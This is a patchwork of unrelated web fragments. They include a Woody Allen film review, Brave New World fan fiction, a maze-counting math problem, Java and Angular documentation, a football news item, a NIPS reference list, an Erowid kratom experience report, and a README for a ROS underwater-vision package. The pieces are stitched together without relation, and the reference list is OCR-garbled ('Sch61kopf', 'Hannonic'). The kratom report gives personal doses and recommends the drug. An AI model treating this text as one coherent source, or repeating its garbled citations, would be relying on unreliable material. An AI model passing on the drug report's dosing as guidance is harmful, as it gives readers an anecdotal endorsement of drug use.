- More easily structure your code in external files
- Lots of bug-fixes
Get Started
1 2 |
|
Learn More
- Walkthrough of GLI’s features at a more detailed level
- A more sophisticated application with annotated source
- Source code on Github
- API Documentation
- Buy the book - One of the running examples uses GLI, and the examples should all work with 2.0


Resident World Controller for Western Europe
You arrive at work and are notified that there has been a riot at the
delta soma dispenseries.
When you enter the room you find the savage boy studying your copy of the Bible.
He wanders to your book shelf where he notices volumes upon volumes of old literature.
The savage takes particular interest in your Shakespeare collection You explain to him that these books ar
prohibited in the world state and only a select few people are permitted to read them.
"As I make the laws here, I can also break them...with impunity," you tell him.
The savage asks you why the books are prohibited. Your answer is simple: because they're old.
"Even when they're beautiful?" he asks. Especially when they're beautiful. You explain to him that
beauty is attractive and we don't want people to be attracted by old things. We want them to like the new ones.
-continue-


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SMALL TIME CROOKS (2000) / **
Directed by Woody Allen. Screenplay by Allen. Starring Allen, Tracey Ullman, Hugh Grant. Running time: 98 minutes. Rated PG for mild language by the MFCB. Reviewed on June 20th, 2000.
By SHANNON PATRICK SULLIVAN
At his best, Woody Allen's movies are a vehicle not just for amusing social satire, but also for meaningful insight into our mundane lives. When he's on his game, even the most seemingly inconsequential scenes carry a weight and purpose of unseemly magnitude -- recall the lobster incident from "Annie Hall" for example. But when Allen isn't in top form, these seemingly inconsequential scenes are just... inconsequential. Sadly, it is this latter category into which falls virtually the entirety of "Small Time Crooks", Allen's thirtieth directorial outing. "Small Time Crooks" is a trifle of a film, offering just enough classic Allen to leave the viewer wondering how good a picture this could have been.
 He's never been particularly successful at the job but has an inflated sense of his own skills. During the two years he spent in jail for a failed heist, the other inmates sarcastically nicknamed him "The Brain". Ray took it as a compliment. Ray and his even dumber ex-con pals Denny (Michael Rapaport) and Tommy (Tony Darrow) devise a plan to rob a bank, by renting a nearby pizza parlor and tunneling from the basement straight into the vault. Soon they embroil others in their scheme, including arsonist Benny (Jon Lovitz), who used to be a fellow inmate of Ray's and has beaten him to the punch by leasing the pizza place first (his original plan was to burn it down -- he tells Ray he put his kids through college that way); Ray's wife Frenchy (Tracey Ullman), a former exotic dancer who reluctantly agrees to act as the front for the operation by selling cookies; and Frenchy's dimwitted cousin May (Elaine May).
But nothing goes according to plan. Ray and his accomplices find themselves digging into everything but the bank, while Frenchy's cookies are an astounding success. In weeks, customers are lined up down the block and camera crews are paying the store a visit. Frenchy's cookie business grows into a multimillionaire dollar snack food empire, and the Winklers are rich -- legitimately. But while Frenchy embraces her new social status, Ray still prefers spending his time playing poker and watching old gangster films. When Frenchy meets David (Hugh Grant), an ambitious art dealer who promises to enrich her culturally-starved life, it may mean the end of the Winklers' marriage.
"Small Time Crooks" starts well. The opening third of the film -- the abortive bank job and the initial success of Frenchy's cookie store -- boasts a number of very funny moments. Much of this is due to the excellent ensemble cast Allen has assembled, who are obviously having a lot of fun. Consider Rapaport's Denny, for instance, who is put in charge of promotion for Frenchy's blossoming business. In one scene, he is interviewed by a reporter who wants him to explain his thinking behind placing advertisements for the cookies in magazines like "Playboy" and "Hustler". In a perfect deadpan, Denny explains that if men are looking at the pictures and salivating, and then turn the page to see an ad for Frenchy's cookies, maybe they'll think it's the cookies that are making them salivate, and then they'll want some.
Indeed, the entire sequence of the boys' misadventures as they try to dig their tunnel is very witty, and the highlight of the film. But things go off the rails after that. As "Small Time Crooks" shifts its focus to Ray and Frenchy's social ascent and resulting marital strife, the laughs become fewer and farther between. Much of the humor is obvious and stale, like Ray's feeble attempts at small talk at a dinner party. To make matters worse, the great supporting cast established during the first act all but disappears, and Hugh Grant's David is just too dull and transparent a character to make up for the loss.
Things pick up somewhat during the final half hour, but even this sequence -- as Ray tries to rob a priceless necklace with May's bumbling assistance -- is really just pure sitcom stuff. The big problem with "Small Time Crooks" (apart from the fact that outside of the first forty minutes, it just isn't very funny) is that there are no real surprises. Sure, Allen throws in a couple of interesting plot twists and the opening set-up is rather dissembling, but thematically "Small Time Crooks" treads awfully familiar ground. Allen doesn't seem to have anything new to say with his story of the Winklers' rapid climb up the social ladder. The characters' personal journeys and their ultimate mutual destination is obvious and predictable; the only mystery is exactly how they get there, and it's a tepid one at best.
Allen's direction is typically competent, and occasionally inspired. There is one scene, for example, which subtly but effectively illustrates the difference in attitude between Ray and Frenchy once they've become rich. Having spent the night out pursuing separate activities, they both return to their apartment building at the same time. He's taken a cab; she, a limousine. But overall, "Small Time Crooks" is just too sedate and ordinary a story to give Allen much of a capacity for directorial flair.
Both leads give good performances, with the extroverted Ullman generally dominating over Allen. Indeed, Allen looks frankly worn out through much of the movie, though whether by accident or design I'm not entirely sure. I've already noted Rapaport's enjoyable performance. Also very good here is Lovitz, who manages to tone down his more annoying tendencies but is sadly underutilised.
In the end, "Small Time Crooks" feels like a decent idea poorly executed. Neither as funny nor as observant as many Woody Allen films, it does not strike me as likely to appeal much to either his fans or the general moviegoing public. It has its moments, but ultimately "Small Time Crooks" is a small time movie.
Copyright © 2000 Shannon Patrick Sullivan. Archived at The Popcorn Gallery, http://www.physics.mun.ca/~sps/movies/SmallTimeCrooks.html
_______________________________________________________________________ / Shannon Patrick Sullivan | "We are all in the gutter, but some of us \ |<EMAIL_ADDRESS>| are looking at the stars." - Oscar Wilde | \___________________________|__________________________________________/ | Popcorn Gallery Movie Reviews www.physics.mun.ca/~sps/movies.html | | Doctor Who: A Brief History of Time (Travel) /drwho.html |
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


$40.00
$124.00 $120.00
$10.25
$90.00
$88.00
$50.00
$15.00
$23.00
$150.00
$25.00
$12.00
$55.00
$60.00
$20.00
$78.00
$25.00–$50.00 $30.00–$50.00
$500.00
$51.00
$30.00
$45.00


I'm learning Latin from Hans Ørberg's Lingua Latina Per Se Illustrata (great book, btw). I keep forgetting certain declensions, so hopefully this program will keep me reminded. Words can be selected by chapters and/or by a particular declension.


An mn maze is an mn
rectangular grid with walls placed between grid cells such that there
is exactly one path from the top-left square to any other square.
The following are examples of a 912 maze and a 1520 maze:
Let C(m,n) be the number of distinct mn mazes. Mazes which can be formed by rotation and reflection from another maze are considered distinct.
It can be verified that C(1,1) = 1, C(2,2) = 4, C(3,4) = 2415, and
C(9,12) = 2.5720e46 (in scientific notation rounded to 5 significant
digits).
Find C(100,500) and write your answer in scientific notation rounded to 5 significant digits.
When giving your answer, use a lowercase e to separate mantissa and exponent. E.g. if the answer is<PHONE_NUMBER>011 then the answer format would be 1.2346e12.


Public Member Functions | |
| BookInfoPanel (boolean editable, Controller controller) | |
| void | updateColor () |
| String | getTitle () |
| void | setTitle (String str) |
| String | getISBN () |
| void | setISBN (String str) |
| String | getPrice () |
| void | setPrice (String str) |
| String | getAuthor () |
| void | setAuthor (String str) |
| String | getPublisher () |
| void | setPublisher (String str) |
| String | getDesc () |
| void | setDesc (String str) |
| String | getGenreList () |
| void | setGenreList (String genreList) |
| int | getQuantity () |
| void | setQuantity (int value) |
Static Public Attributes | |
| static final int | WIDTH = 450 |
| static final int | HEIGHT = 500 |
Class : BookInfoPanel.java Author : Larry "Bucky" Kittinger Date : Dec 1, 2012 Desc : Panel for displaying book information
| w3se.View.Subpanels.BookInfoPanel.BookInfoPanel | ( | boolean | editable, |
| Controller | controller | ||
| ) |
Create the panel.
| String w3se.View.Subpanels.BookInfoPanel.getAuthor | ( | ) |
method to get the author
| String w3se.View.Subpanels.BookInfoPanel.getDesc | ( | ) |
method to get the description of the book
| String w3se.View.Subpanels.BookInfoPanel.getGenreList | ( | ) |
method to get the genres of the book
| String w3se.View.Subpanels.BookInfoPanel.getISBN | ( | ) |
method to get the isbn
| String w3se.View.Subpanels.BookInfoPanel.getPrice | ( | ) |
method to get the price of the book
| String w3se.View.Subpanels.BookInfoPanel.getPublisher | ( | ) |
method to get the publisher
| int w3se.View.Subpanels.BookInfoPanel.getQuantity | ( | ) |
method to get the quantity of the book
| String w3se.View.Subpanels.BookInfoPanel.getTitle | ( | ) |
method to get the title of the book
| void w3se.View.Subpanels.BookInfoPanel.setAuthor | ( | String | str | ) |
method to set the author
| str |
| void w3se.View.Subpanels.BookInfoPanel.setDesc | ( | String | str | ) |
method to set the description of the book
| str |
| void w3se.View.Subpanels.BookInfoPanel.setGenreList | ( | String | genreList | ) |
method to set the genres of the book
| genreList |
| void w3se.View.Subpanels.BookInfoPanel.setISBN | ( | String | str | ) |
method to set the isbn
| str |
| void w3se.View.Subpanels.BookInfoPanel.setPrice | ( | String | str | ) |
method to set the price of the book
| str |
| void w3se.View.Subpanels.BookInfoPanel.setPublisher | ( | String | str | ) |
method to set the publisher
| str |
| void w3se.View.Subpanels.BookInfoPanel.setQuantity | ( | int | value | ) |
method to set the quantity of the book
| value |
| void w3se.View.Subpanels.BookInfoPanel.setTitle | ( | String | str | ) |
method to set the title of the book
| str |
| void w3se.View.Subpanels.BookInfoPanel.updateColor | ( | ) |
method to update the color of the panel


Chelsea to learn transfer ban verdict in December
The Blues were sanctioned by FIFA in February and appealed against a two-window transfer ban to the Court of Arbitration for Sport.
Chelsea will learn the verdict in their appeal against a two-window transfer ban by mid-December, the PA news agency understands.
Lawyers for the Premier League club presented their case at the Court of Arbitration for Sport (CAS) on Wednesday, with the hearing understood to have finished at 2.30pm UK time.
The CAS panel is expected to announce its findings in the first or second week of December. The timing means that, depending on the outcome of the appeal, the club might be able to do business in the January transfer window.
The Blues were initially sanctioned by world governing body FIFA in February of this year.
FIFA found the London club guilty of breaching article 19 of its regulations on the status and transfer of players (RSTP), which concerns the protection of minors.
They were also found to have breached article 18, concerning third-party influence.
Chelsea appealed to FIFA and the case was heard in April, but documents published by FIFA at the end of October showed its appeals committee found the Blues had committed 150 breaches of regulations.
The appeals committee agreed with the disciplinary committee that the breaches were “inexcusable”.
The club have made a good start to life under new head coach Frank Lampard despite not being able to sign any new players in the summer.
The likes of Tammy Abraham, Mason Mount and Fikayo Tomori, all Chelsea academy products, have returned to the club from loans elsewhere to make a big impression on the first team at Stamford Bridge.
All three have also been capped at England senior level by Gareth Southgate since the start of the season and the Blues are in third place in the Premier League table, behind second-placed Leicester only on goal difference.


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{% extends "mails/project.html" %}{% load i18n l10n pages staticfiles %} {% block title %}{% blocktrans with site_name=site.name %}Activate your account{% endblocktrans %}{% endblock %} {% block content %} {% if user.name %}
{% blocktrans with site_name=site.name %}You (or someone pretending to be you) have asked to register an account at {{ site_name }}. If this wasn't you, please ignore this email and your address will be removed from our records.{% endblocktrans %}
{% blocktrans %}You need to activate your account within the next {{ expiration_days }} days.{% endblocktrans %}
{% trans "To activate your account" %} {% trans "click here" %}
{% blocktrans with site_name=site.name %}Thanks,
The {{ site_name }} team{% endblocktrans %}


Copyright (c) 2002 Chris
The game is played on the following board with this setup:
|
| An example It's Black's turn. For e.g., he can move the King's group in the northwest direction (to cells e4 and e5) and then grow another King into cell f4. |
This game is easily scalable, so each player can have more different stones types (better with a bigger board). Another possible variant would be to start with two or more groups of the same type of stone. When two groups of the same type were connected they would merge into one group (and be much more difficult to move after the merge).


Emma Bovary is beautiful and bored, trapped in her marriage to a mediocre doctor and stifled by the banality of provincial life. An ardent devourer of sentimental novels, she longs for passion and seeks escape in fantasies of high romance, in voracious spending and, eventually, in adultery. But even her affairs bring her disappointment, and when real life continues to fail to live up to her romantic expectations, the consequences are devastating.
We were at prep, when the Head came in, followed by a new boy not in uniform and a school-servant carrying a big desk. Those who had been asleep woke up, and every boy rose to his feet as though surprised in his labours.


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… allows playback on all kinds of devices from Smartphone to Desktop.
… to show your own style or choose from premade themes.
… to keep up with the ever evolving podcast industry.
… making it look good on all screen sizes from small to large.
… let the listener jump directly to a specific part of the episode.
… makes your podcast ready for the big screen.
… allow downloading the episode to the device.
… shows further information like shownotes.
… lets the listener explore your podcast's back catalog.
… makes sharing an episode easy as cake.
… enable easier finding, citing and sharing.


nips nips2000 nips2000-134 nips2000-134-reference knowledge-graph by maker-knowledge-mining
Source: pdf
Author: Bernhard Schölkopf
Abstract: A method is described which, like the kernel trick in support vector machines (SVMs), lets us generalize distance-based algorithms to operate in feature spaces, usually nonlinearly related to the input space. This is done by identifying a class of kernels which can be represented as norm-based distances in Hilbert spaces. It turns out that common kernel algorithms, such as SVMs and kernel PCA, are actually really distance based algorithms and can be run with that class of kernels, too. As well as providing a useful new insight into how these algorithms work, the present work can form the basis for conceiving new algorithms.
[1] M. A. Aizerman, E. M. Braverman, and L. 1. Rozonoer. Theoretical foundations of the potential function method in pattern recognition learning. Autom. and Remote Contr. , 25:821- 837, 1964.
[2] C. Berg, J.P.R. Christensen, and P. Ressel. Hannonic Analysis on Semigroups. Springer-Verlag, New York, 1984.
[3] B. E. Boser, 1. M. Guyon, and V. N. Vapnik. A training algorithm for optimal margin classifiers. In D. Haussler, editor, Proceedings of the 5th Annual ACM Workshop on Computational Learning Theory, pages 144-152, Pittsburgh, PA, July 1992. ACM Press.
[4] F. Girosi, M. Jones, and T. Poggio. Regularization theory and neural networks architectures. Neural Computation, 7(2):219- 269, 1995.
[5] D. Haussler. Convolutional kernels on discrete structures. Technical Report UCSC-CRL-99-1O, Computer Science Department, University of California at Santa Cruz, 1999.
[6] J. Mercer. Functions of positive and negative type and their connection with the theory of integral equations. Philos. Trans. Roy. Soc. London, A 209:415-446, 1909.
[7] I. J. Schoenberg. Metric spaces and positive definite functions. 44:522- 536, 1938. Trans. Amer. Math. Soc.,
[8] B. Sch61kopf, C. J. C. Burges, and A. J. Smola. Advances in Kernel Methods - Support Vector Learning. MIT Press, Cambridge, MA, 1999.
[9] B. SchDlkopf, A. Smola, and K-R. Miiller. Nonlinear component analysis as a kernel eigenvalue problem. Neural Computation, 10:1299- 1319, 1998.
[10] A. Smola, T. FrieB, and B. ScMlkopf. Semiparametric support vector and linear programming machines. In M.S. Keams, S.A. Solla, and D.A. Cohn, editors, Advances in Neural Infonnation Processing Systems 11 , pages 585 - 591, Cambridge, MA, 1999. MIT Press.
[11] A. Smola, B. SchDlkopf, and K-R. Miiller. The connection between regularization operators and support vector kernels. Neural Networks , 11:637- 649, 1998.
[12] W.S . Torgerson. Theory and Methods of Scaling. Wiley, New York, 1958.
[13] V. Vapnik. The Nature of Statistical Learning Theory. Springer, N.Y., 1995.
[14] G. Wahba. Spline Models for Observational Data, volume 59 of CBMS-NSF Regional Conference Series in Applied Mathematics. SIAM, Philadelphia, 1990.
[15] C. Watkins, 2000. personal communication.


| DOSE: T+ 0:00 |
1 Tbsp |
oral |
Kratom |
(tea) |
| T+ 0:50 |
1 Tbsp |
oral |
Kratom |
(tea) |
To preface this submission, let me first say that I am Mormon. Not the best in terms of rules, but very strong in the principles of the faith. This being said, I attend BYU, a mormon run university in utah. I have been experienced to many other drugs before, and am quite experienced with cannabis, MDMA, DXM, LSD, Shrooms, and cocaine. Like I said, I don't do well with the rules, but anyway. It's somewhat difficult to acquire any drugs of note out here, so I looked for legal alternatives and came upon kratom as being heralded as one of the better legal entheogens. I ended up convincing my roommate that it would be interesting, and he, being mormon, but somewhat open minded, got excited to try it. Now to the experience.
I ordered a company's 'private Reserve' leaf which was supposed to be about 3 times as potent as the premium grade most shops sell. We made 2 tablespoons of the chopped up leaf into a tea, doing the double steeping (steeping once, draining water into separate container, then steeping the same leaves again to get all the contents from them) method, and then added tang and honey, and drank it down. For the first batch we used probably 2 cups of water, which is a lot more than most, but when it came time to drink it, almost all the bitterness was masked, and the tea was somewhat enjoyable (to me, not my roommate). About 30 min later I started the second batch because my roommate was claiming that he didnt feel much, which I didn't believe because I was already feeling a need to be active.
To describe what I was feeling at that point, I felt very relaxed in my body, but felt the need to be active (physically) in my mind. It was a good feeling, and since I am usually very antsy and restless, the relaxation was a blessing for me. My roommate proceeded at this time to describe what he was feeling (I knew that his claim of nothing was a lie). He said that as he was sitting on the couch he felt as if his body was exhausted, like he had just stayed up all night (dont worry it got better for him in the end).
I was getting ready to go out with a girl who had started expressing interest in me, but I didnt want to leave my roommate in a bad position, so we made a second batch of the same amount of leaves, bringing our totals for the night to anywhere from 5-8 grams each.
I left, and went out with this cute half japanese girl, and the whole time I felt immeasurably relaxed, and my muscles were very uncoiled and relaxed. I also felt mentally at ease as if everything were right in the world. To make it clear, the effects are not as perception changing as say, cannabis. Cannabis highs involved feeling... not impaired, but I can tell that I'm high (cannabis is an amazing drug). (note: during the last year and a half before coming to BYU, I probably smoked 2-4 times a day,usually of dank headies kindbud =)
The timeline of this whole adventure was like so.
7:20-Drank first batch
7:45-feeling good, start second batch
8:10-drank second batch
8:45-feeling of relaxation permeating my body, and no anxiety or anything negative. Like I said earlier, everything felt 'right'.
8:45-3:00- Feelings of relaxation and ease persisted. The whole time I felt the opiate effects of slight muscle control strangeness. Not impaired, but moving and tactile sensory info felt strange and fun.
4:00- Before I left her apartment, she gave me a massage (she was gooood) but the effects had begun to wear out, aka, muscles werent relaxed, which is partly why I got the massage.
The next morning, today, my roommate said that towards later into the evening (I think around midnight) he had vivid waking dreams that were neither good nor bad (he is a lil strange, but I love him in that manly brother way). Overall I think he enjoyed it, but isn't being honest with me.
Overall I would recommend this to those who aren't really looking for a quick euphoric high. It takes time to prepare, and isn't overwhelming like other things, but for total relaxation and ease of anxiety without being overwhelmingly mind altered, this is a good way to go. As I said earlier I am very experienced with 'real' drugs, and know what it feels like to be totally gone in a variety of ways, yet I would and am still going to do kratom again. It was very pleasant for me, and not at all unpleasant (no nausea, no hangover) I might go higher dose wise next time.
Peace all, and no matter what substance you partake of, partake responsibly and knowledgeably.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Templezen - Buddhist Temple & Shop - Angular 11 Template
Templezen - Buddhist Temple & Shop - Angular 11 Template
In order to kickstart the development of your web app with Templezen - Buddhist Temple & Shop, the very first thing is to setup an Angular development environment.
| Name | Description |
|---|---|
angular.json |
Used for configuration of project specific settings. You can add external styles and scripts, change the output folder, add assets, add environment files and more. |
e2e |
Will be used for end-to-end tests to ensure functionality for users before deploying. |
node_modules |
All external modules used are here. Do not mess with this folder, as it is auto-generated by using npm install . |
package.json |
Contains all dependencies used for production and development. |
src |
Contains all Angular Typescript code, assets and basically everything the end user will have access to. |
tslint.json |
Angular-CLI includes an automatic Typescript-Linter, which can be configured with this file. |
npm install -g @angular/cli
. More details can be found here https://github.com/angular/angular-clinpm install
from the root of your project to install all the necessary dependencies.ng serve
for a dev server. Navigate to localhost:4200/. The app will autometically reload if you change any of the source files.ng build
to build the project. The build artifacts will be stored in the dist/
directory. Use the --prod
flag for a production build.angular-cli
use ng --help
or go check out the Angular-CLI README.Here are the dependencies list which being used in the Templezen - Buddhist Temple & Shop Angular Template:
"dependencies": { "@angular-slider/ngx-slider": "^2.0.3", "@angular/animations": "~11.2.12", "@angular/common": "~11.2.12", "@angular/compiler": "~11.2.12", "@angular/core": "~11.2.12", "@angular/forms": "~11.2.12", "@angular/platform-browser": "~11.2.12", "@angular/platform-browser-dynamic": "~11.2.12", "@angular/router": "~11.2.12", "@ng-bootstrap/ng-bootstrap": "^9.1.2", "angular-crumbs": "^3.0.1", "bootstrap": "^4.1.3", "imagesloaded": "^4.1.4", "jquery": "^3.6.0", "magnific-popup": "^1.1.0", "masonry-layout": "^4.2.2", "ng-masonry-grid": "^1.3.0", "ng2-countdown-timer": "^1.2.2", "ngx-countup": "^7.3.3", "ngx-owl-carousel": "^2.0.7", "ngx-owl-carousel-o": "^5.0.0", "ngx-pagination": "^5.1.1", "ngx-slick-carousel": "^0.5.1", "rxjs": "~6.6.0", "slick-carousel": "^1.8.1", "tslib": "^2.0.0", "zone.js": "~0.11.3" }, "devDependencies": { "@angular-devkit/build-angular": "~0.1102.11", "@angular/cli": "~11.2.11", "@angular/compiler-cli": "~11.2.12", "@types/jasmine": "~3.6.0", "@types/jquery": "^3.5.5", "@types/node": "^12.11.1", "codelyzer": "^6.0.0", "jasmine-core": "~3.6.0", "jasmine-spec-reporter": "~5.0.0", "karma": "~6.1.0", "karma-chrome-launcher": "~3.1.0", "karma-coverage": "~2.0.3", "karma-jasmine": "~4.0.0", "karma-jasmine-html-reporter": "^1.5.0", "protractor": "~7.0.0", "ts-node": "~8.3.0", "tslint": "~6.1.0", "typescript": "~4.1.5" }
This template supports a working Contact Form. However, you will need to do some adjustments to be able to get it working, follow the below steps to get it up and running
Step 1:Find the sendmail.php
file in your project root directory
// Your Email here $email = example@example.com;Step 2:
Change the email to your recieving email
Navigate to app/components/helper/contact-helper.service.ts and look for serviceURL on line 12. You will need to host the sendmail.php file on your server somewhere and add the link to the script here
Note: This feature does not work on a local environment
By default, the template loads Marcellus & Noto+Sans font from Google Web Font Services, you can change the font with the one that suits you best.
Font code can be found in the "assets/css/style.css" file:
@import url("https://fonts.googleapis.com/css?family=Marcellus&display=swap"); @import url("https://fonts.googleapis.com/css?family=Noto+Sans:400,400i,700,700i&display=swap");


Player Two Wins!

Want to play?

Player Two Wins!
Total Score:
Current Score:


|
AnahitaPlus
|
This is a ROS package for processing video feed provided by hardware_camera
and publishing the coordinates of the object of interest in the camera's frame as a geometry_msgs/PointStamped or geometry_msgs/Pose2D to the other layers.
The vision_tasks
package has been tested under ROS Kinetic and Ubuntu 16.04 LTS. The source code is released under a BSD 3-Clause license.
The hardware used are as follows:
Run the following command:
To run any vision task named <name>
, run:
This task pre-processes (blue-filters) the raw image, applies thresholding on the image, draws a minimum enclosing circle on the main blob and returns the coordinates of the buoy in the camera's reference frame. The distance of the buoy from the camera is calculated using an exponential mapping of the radius of the minimum enclosing circle and the actual distance.
/buoy_task/blue_filtered
** (sensor_msgs/Image)/buoy_task/thresholded
** (sensor_msgs/Image)/buoy_task/marked
** (sensor_msgs/Image)/buoy_task/buoy_coordinates
** (geometry_msgs/PointStamped)~clahe_clip
(double, default: 0.15, range: 0.0 - 40.0) Clip limit for CLAHE~clahe_grid_size
(integer, default: 3, range: 1 - 16) Grid size of the CLAHE operator~clahe_bilateral_iter
(integer, default: 2, range: 0 - 16) Number of iterations of bilateral filter after CLAHE is applied~balanced_bilateral_iter
(integer, default: 2, range: 0 - 8) Number of iterations of bilateral filter after white balancing is applied~denoise_h
(double, default: 10.0, range: 0.0 - 20.0) h value for fast non-local means denoising applied on the final blue-filtered image~low_h
(int, default: 0, range: 0 - 255) Lower Bound of H~high_h
(int, default: 10, range: 0 - 255) Higher Bound of H~low_s
(int, default: 251, range: 0 - 255) Lower Bound of S~high_s
(int, default: 255, range: 0 - 255) Higher Bound of S~low_v
(int, default: 160, range: 0 - 255) Lower Bound of V~high_v
(int, default: 255, range: 0 - 255) Higher Bound of V~opening_mat_point
(int, default: 1, range: 1 - 7) Center of the matrix for the opening operation (size extrapolated 2x+1)~opening_iter
(int, default: 0, range: 0 - 10) Iterations of opening applied on the thresholded image~closing_mat_point
(int, default: 1, range: 1 - 7) Center of the matrix for the closing operation (size extrapolated 2x+1)~closing_iter
(int, default: 0, range: 0 - 10) Iterations of closing applied on the opened thresholded imageThis task applies pre-processes (blue-filters) the raw image, applies thresholding on the image, draws a minimum enclosing rectangle on the main blob and publishes the coordinates of the gate's horizontal arm in the camera's reference frame and also publishes whether the task is done or not.
/gate_task/bottom/thresholded
** (sensor_msgs/Image)/gate_task/bottom/marked
** (sensor_msgs/Image)/gate_task/bottom/pipe_coordinates
** (geometry_msgs/PointStamped)/gate_task/done
** (std_msgs/Bool)~clahe_clip
(double, default: 4.0, range: 0.0 - 40.0) Clip limit for CLAHE~clahe_grid_size
(integer, default: 8, range: 1 - 16) Grid size of the CLAHE operator~clahe_bilateral_iter
(integer, default: 4, range: 0 - 16) Number of iterations of bilateral filter after CLAHE is applied~balanced_bilateral_iter
(integer, default: 2, range: 0 - 8) Number of iterations of bilateral filter after white balancing is applied~denoise_h
(double, default: 10.0, range: 0.0 - 20.0) h value for fast non-local means denoising applied on the final blue-filtered image~low_h
(int, default: 0, range: 0 - 255) Lower Bound of H~high_h
(int, default: 130, range: 0 - 255) Higher Bound of H~low_s
(int, default: 0, range: 0 - 255) Lower Bound of S~high_s
(int, default: 123, range: 0 - 255) Higher Bound of S~low_v
(int, default: 95, range: 0 - 255) Lower Bound of V~high_v
(int, default: 255, range: 0 - 255) Higher Bound of V~closing_mat_point
(int, default: 2, range: 1 - 7) Center of the matrix for the closing operation (size extrapolated 2x+1)~closing_iter
(int, default: 2, range: 0 - 10) Iterations of closing applied on the thresholded imageThis task applies pre-processes (blue-filters) the raw image, applies thresholding on the image, detects edges using Canny edge detection,detects straight lines using Probabilistic Hough Line Transform, filters all the vertical and horizontal lines and detects which pair of these lines are perpendicular and close enough to be a gate. If multiple such pairs are found, the pair with longer lines is taken into considerations. This returns the coordinates of the gate in the camera's frame. The distance of the gate from the camera is calculated using an exponential mapping of the diagonal of the rectangle formed by the two arms and the actual distance. If both arms of the gate are not detected and only one of the arms is detected, the rectangle is extrapolated and the distance of the gate from the camera is also calculated based on this extrapolated rectangle.
/gate_task/front/blue_filtered
** (sensor_msgs/Image)/gate_task/front/thresholded
** (sensor_msgs/Image)/gate_task/front/canny
** (sensor_msgs/Image)/gate_task/front/lines
** (sensor_msgs/Image)/gate_task/front/marked
** (sensor_msgs/Image)/gate_task/front/gate_coordinates
** (geometry_msgs/PointStamped)~clahe_clip
(double, default: 0.15, range: 0.0 - 40.0) Clip limit for CLAHE~clahe_grid_size
(integer, default: 3, range: 1 - 16) Grid size of the CLAHE operator~clahe_bilateral_iter
(integer, default: 2, range: 0 - 16) Number of iterations of bilateral filter after CLAHE is applied~balanced_bilateral_iter
(integer, default: 4, range: 0 - 8) Number of iterations of bilateral filter after white balancing is applied~denoise_h
(double, default: 10.0, range: 0.0 - 20.0) h value for fast non-local means denoising applied on the final blue-filtered image~low_h
(int, default: 0, range: 0 - 255) Lower Bound of H~high_h
(int, default: 10, range: 0 - 255) Higher Bound of H~low_s
(int, default: 156, range: 0 - 255) Lower Bound of S~high_s
(int, default: 255, range: 0 - 255) Higher Bound of S~low_v
(int, default: 88, range: 0 - 255) Lower Bound of V~high_v
(int, default: 255, range: 0 - 255) Higher Bound of V~closing_mat_point
(int, default: 1, range: 1 - 7) Center of the matrix for the closing operation (size extrapolated 2x+1)~closing_iter
(int, default: 0, range: 0 - 10) Iterations of closing applied on the thresholded image~canny_threshold_low
(int, default: 0, range: 0 - 1000) Lower threshold for the pixel intensity gradient~canny_threshold_high
(int, default: 1000, range: 0 - 1000) Higher threshold for the pixel intensity gradient~canny_kernel_size
(int, default: 3, range: 3 - 7) Kernel size of the operator~hough_minline
(int, default: 200, range: 0 - 500) Minimum length of the detected lines~hough_threshold
(int, default: 105, range: 0 - 500) Minimum number of intersections to be considered as part of one line~hough_maxgap
(int, default: 61, range: 0 - 500) Maximum gap between two points to be considered the same line~hough_angle_tolerance
(double, default: 20.0, range: 0.0 - 45.0) Tolerance angle with respect to 0, 90 and 180 degrees to be considered as a probable line~gate_distance_tolerance
(double, default: 50.0, range: 0.0 - 500.0) Maximum distance between atleast one pair of points to be considered close to each other~gate_angle_tolerance
(double, default: 20.0, range: 0.0 - 45.0) Tolerance angle with respect to 90 to be considered as perpendicularThis task applies thresholding on the raw image, draws contours around the blob, finds straight lines using Probabilistic Hough Line Transform and draws a tilted bounding rectangle around the contour. This returns the coordinates in the camera's reference frame using the bounding rectangle and returns the vehicle's angle with this line using the lines detected.
/line_task/thresholded
** (sensor_msgs/Image)/line_task/marked
** (sensor_msgs/Image)/line_task/gate_coordinates
** (geometry_msgs/Pose2D)~low_h
(int, default: 31, range: 0 - 255) Lower Bound of H~high_h
(int, default: 47, range: 0 - 255) Higher Bound of H~low_s
(int, default: 0, range: 0 - 255) Lower Bound of S~high_s
(int, default: 255, range: 0 - 255) Higher Bound of S~low_v
(int, default: 0, range: 0 - 255) Lower Bound of V~high_v
(int, default: 255, range: 0 - 255) Higher Bound of V~opening_mat_point
(int, default: 1, range: 1 - 7) Center of the matrix for the opening operation (size extrapolated 2x+1)~opening_iter
(int, default: 0, range: 0 - 10) Iterations of opening applied on the thresholded image~closing_mat_point
(int, default: 2, range: 1 - 7) Center of the matrix for the closing operation (size extrapolated 2x+1)~closing_iter
(int, default: 1, range: 0 - 10) Iterations of closing applied on the opened thresholded imageThis task applies pre-processes (blue-filters) the raw image, applies thresholding on the image, draws a minimum enclosing rectangle on all the detected contours. Based on the number of contours and their areas, an algorithm decides which of the contours is actually the heart and publishes the coordinates of the target in the camera's reference frame. The distance of the target from the camera is calculated using an exponential mapping of the width of the bounding rectangle and the actual distance.
/torpedo_task/thresholded
** (sensor_msgs/Image)/torpedo_task/marked
** (sensor_msgs/Image)/torpedo_task/gate_coordinates
** (geometry_msgs/Pose2D)~clahe_clip
(double, default: 0.15, range: 0.0 - 40.0) Clip limit for CLAHE~clahe_grid_size
(integer, default: 3, range: 1 - 16) Grid size of the CLAHE operator~clahe_bilateral_iter
(integer, default: 2, range: 0 - 16) Number of iterations of bilateral filter after CLAHE is applied~balanced_bilateral_iter
(integer, default: 4, range: 0 - 8) Number of iterations of bilateral filter after white balancing is applied~denoise_h
(double, default: 5.6, range: 0.0 - 20.0) h value for fast non-local means denoising applied on the final blue-filtered image~low_h
(int, default: 53, range: 0 - 255) Lower Bound of H~high_h
(int, default: 86, range: 0 - 255) Higher Bound of H~low_s
(int, default: 128, range: 0 - 255) Lower Bound of S~high_s
(int, default: 255, range: 0 - 255) Higher Bound of S~low_v
(int, default: 104, range: 0 - 255) Lower Bound of V~high_v
